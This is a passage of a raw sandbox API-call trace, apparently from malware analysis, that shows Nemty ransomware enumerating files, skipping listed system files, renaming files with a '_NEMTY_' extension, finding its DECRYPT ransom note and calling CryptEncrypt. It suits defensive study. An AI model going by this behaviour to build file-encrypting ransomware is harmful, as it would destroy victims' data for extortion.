lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0125.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.999] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0125.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.999] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.008] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.008] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.017] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.017] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.027] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.027] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.036] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.036] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.042] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.042] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.048] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.048] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0126.048] CloseHandle (hObject=0xffffffff) returned 0 [0126.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340418 [0126.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0126.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0126.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0126.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0126.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c0 [0126.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0126.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0126.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\currency.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\currency.css._nemty_kgobjgd_")) returned 0 [0126.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0126.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0126.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0126.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0126.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0126.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0126.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0126.049] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb39fb0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfeb39fb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfeb39fb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0126.049] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0126.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0126.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0126.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0126.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0126.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0126.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0126.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0126.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0126.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0126.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0126.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0126.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0126.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0126.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0126.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0126.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0126.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340200 [0126.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0126.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.050] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb39fb0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfeb39fb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfeb39fb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0126.050] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0126.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0126.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0126.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0126.050] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1792, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="currency.html", cAlternateFileName="")) returned 1 [0126.050] lstrcmpiW (lpString1="currency.html", lpString2=".") returned 1 [0126.050] lstrcmpiW (lpString1="currency.html", lpString2="..") returned 1 [0126.050] lstrcmpiW (lpString1="currency.html", lpString2="...") returned 1 [0126.050] lstrcmpiW (lpString1="currency.html", lpString2="windows") returned -1 [0126.050] lstrcmpiW (lpString1="currency.html", lpString2="$RECYCLE.BIN") returned 1 [0126.050] lstrcmpiW (lpString1="currency.html", lpString2="rsa") returned -1 [0126.050] lstrcmpiW (lpString1="currency.html", lpString2="NTDETECT.COM") returned -1 [0126.050] lstrcmpiW (lpString1="currency.html", lpString2="ntldr") returned -1 [0126.050] lstrcmpiW (lpString1="currency.html", lpString2="MSDOS.SYS") returned -1 [0126.051] lstrcmpiW (lpString1="currency.html", lpString2="IO.SYS") returned -1 [0126.051] lstrcmpiW (lpString1="currency.html", lpString2="boot.ini") returned 1 [0126.051] lstrcmpiW (lpString1="currency.html", lpString2="boot.ini") returned 1 [0126.051] lstrcmpiW (lpString1="currency.html", lpString2="AUTOEXEC.BAT") returned 1 [0126.051] lstrcmpiW (lpString1="currency.html", lpString2="ntuser.dat") returned -1 [0126.051] lstrcmpiW (lpString1="currency.html", lpString2="desktop.ini") returned -1 [0126.051] lstrcmpiW (lpString1="currency.html", lpString2="CONFIG.SYS") returned 1 [0126.051] lstrcmpiW (lpString1="currency.html", lpString2="RECYCLER") returned -1 [0126.051] lstrcmpiW (lpString1="currency.html", lpString2="BOOTSECT.BAK") returned 1 [0126.051] lstrcmpiW (lpString1="currency.html", lpString2="bootmgr") returned 1 [0126.051] lstrcmpiW (lpString1="currency.html", lpString2="programdata") returned -1 [0126.051] lstrcmpiW (lpString1="currency.html", lpString2="appdata") returned 1 [0126.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.051] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0126.051] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.html", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currency.html", lpUsedDefaultChar=0x0) returned 13 [0126.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0126.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.html", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currency.html", lpUsedDefaultChar=0x0) returned 13 [0126.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0126.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.html", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currency.html", lpUsedDefaultChar=0x0) returned 13 [0126.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0126.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.html", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currency.html", lpUsedDefaultChar=0x0) returned 13 [0126.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0126.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0126.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340200 [0126.053] Sleep (dwMilliseconds=0x5) [0126.062] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfec90c10, dwHighDateTime=0x1d561e7)) [0126.062] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfec90c10, dwHighDateTime=0x1d561e7)) [0126.062] GetLastError () returned 0x12 [0126.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0126.062] GetLastError () returned 0x12 [0126.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0126.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.062] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0126.062] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0126.062] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0126.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a8 [0126.062] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a8, pcchString=0x653e91c | out: pszString="Y6ihBKsHPsq3XvXSdArDf2mRZ6kbB6PE09yVJ3Sf/Jr+Iz+f/VHzd8xajRt0nAt+\r\nuGZx/1bUzItZUwbGBqZ7BVvqKQtr8s9r0yG66vnfGpkpvK0pv01KSf/M8FJVMyNF\r\nnqtdJZPqz0gMlW1VDqPw4ODkEkzHmBrtd5ng9g8scYJ4pQcmR3ZupdDWtE4n42gd\r\nkiIKIvedu4KnKPlUhKFdj3nA81XDHtmTK9tJYKpY8o7JzBYk5w5swZfUuGXPPST+\r\nJHep6gKEuZ9PlF1zctzm9Mag/GLXTlteMtIQtDP3dnjnt4L+emd7W+PPI+VLJS7E\r\n497B/fKPvpPGiEKvFqOnBQ==\r\n", pcchString=0x653e91c) returned 1 [0126.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0126.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0126.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0126.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a8 [0126.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0126.062] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\currency.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\currency.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 